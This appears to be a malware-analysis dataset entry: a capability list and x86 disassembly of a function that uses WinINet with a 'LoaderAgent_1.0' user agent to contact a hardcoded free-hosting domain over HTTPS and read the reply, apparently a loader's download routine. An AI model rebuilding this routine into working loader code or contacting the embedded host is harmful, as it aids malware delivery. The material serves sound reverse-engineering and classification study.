Function at 0x4018c0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417300
mov eax, dword fs:[0]
push eax
sub esp, 0x454
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x454], edi
mov dword [ebp - 0x438], edi
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x42c]
push 0x28
xorps xmm0, xmm0
mov dword [ebp - 0x43c], edi
push str._error_:__Unable_to_connect_to_server_
movups xmmword [ebp - 0x42c], xmm0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0
call fcn.004030f0
push 0
push 0
push 0
push 1
push str.LoaderAgent_1.0
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x438], eax
push 0
test eax, eax
jne 0x4019fe
push 1
sub esp, 0x28
lea edx, [ebp - 0x42c]
mov eax, esp
lea ecx, [ebp - 0x44c]
mov dword [eax + 0x24], 0
call fcn.00402a80
mov edx, eax
add esp, 0x30
mov al, byte [edx]
mov byte [edi], al
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov byte [edx], 0
mov dword [edx + 8], 0
mov dword [edx + 0xc], 0
mov byte [edi + 0x10], 1
mov byte [ebp - 4], 1
push dword [ebp - 0x44c]
lea ecx, [ebp - 0x444]
call fcn.004024c0
mov ecx, dword [ebp - 0x418]
cmp ecx, 0xf
jbe 0x401ad5
mov edx, dword [ebp - 0x42c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401acb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401acb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push 0
push 3
push 0
push 0
push 0x1bb
push str.pemapper.000webhostapp.com
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x458], eax
push 0
test eax, eax
jne 0x401a75
push 1
sub esp, 0x28
lea edx, [ebp - 0x42c]
mov eax, esp
lea ecx, [ebp - 0x44c]
mov dword [eax + 0x24], 0
call fcn.00402a80
mov edx, eax
add esp, 0x30
mov al, byte [edx]
mov byte [edi], al
mov eax, dword [edx + 8]
mov ecx, dword [edx + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov byte [edx], 0
mov dword [edx + 8], 0
mov dword [edx + 0xc], 0
mov byte [edi + 0x10], 1
mov byte [ebp - 4], 2
jmp 0x4019af
push 0x80000000
push 0
push 0
push 0
push esi
push 0x419324
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0
push 0
push 0x3b
mov esi, eax
push str.Content_Type:_application_json_r_nUser_Agent:_LoaderAgent_1.0
push esi
mov dword [ebp - 0x450], esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x401adc
xorps xmm0, xmm0
mov byte [edi], al
lea edx, [ebp - 0x42c]
movq qword [edi + 8], xmm0
mov ecx, edi
call fcn.0040dfb0
mov byte [edi + 0x10], 1
jmp 0x4019c0
push ecx
push edx
call fcn.00416375
add esp, 8
mov eax, edi
jmp 0x401cae
cmp dword [ebp - 0x418], 0xf
lea eax, [ebp - 0x42c]
push 0x400
cmova eax, dword [ebp - 0x42c]
mov dword [ebp - 0x41c], 0
push 0
mov byte [eax], 0
lea eax, [ebp - 0x414]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x430], 0
lea eax, [ebp - 0x430]
push eax
push 0x3ff
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401bdb
nop
mov edi, dword [ebp - 0x430]
test edi, edi
je 0x401bd5
mov edx, dword [ebp - 0x418]
mov eax, edx
mov ecx, dword [ebp - 0x41c]
sub eax, ecx
push edi
cmp edi, eax
ja 0x401b9a
lea eax, [ecx + edi]
cmp edx, 0xf
mov dword [ebp - 0x41c], eax
lea esi, [ebp - 0x42c]
cmova esi, dword [ebp - 0x42c]
lea eax, [ebp - 0x414]
add esi, ecx
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x450]
jmp 0x401bb3
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 0x438]
lea ecx, [ebp - 0x42c]
push edi
call fcn.00402f90
lea eax, [ebp - 0x430]
push eax
push 0x3ff
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401b40
mov edi, dword [ebp - 0x454]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x458]
call esi
push dword [ebp - 0x438]
call esi
push 0
push 1
sub esp, 0x28
mov byte [ebp - 4], 5
mov eax, esp
lea edx, [ebp - 0x42c]
lea ecx, [ebp - 0x44c]
mov dword [eax + 0x24], 0
call fcn.00402a80
add esp, 0x30
mov cl, byte [eax]
mov byte [edi], cl
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov byte [eax], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov byte [edi + 0x10], 0
mov byte [ebp - 4], 6
jmp 0x4019af
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00416332
mov esp, ebp
pop ebp
ret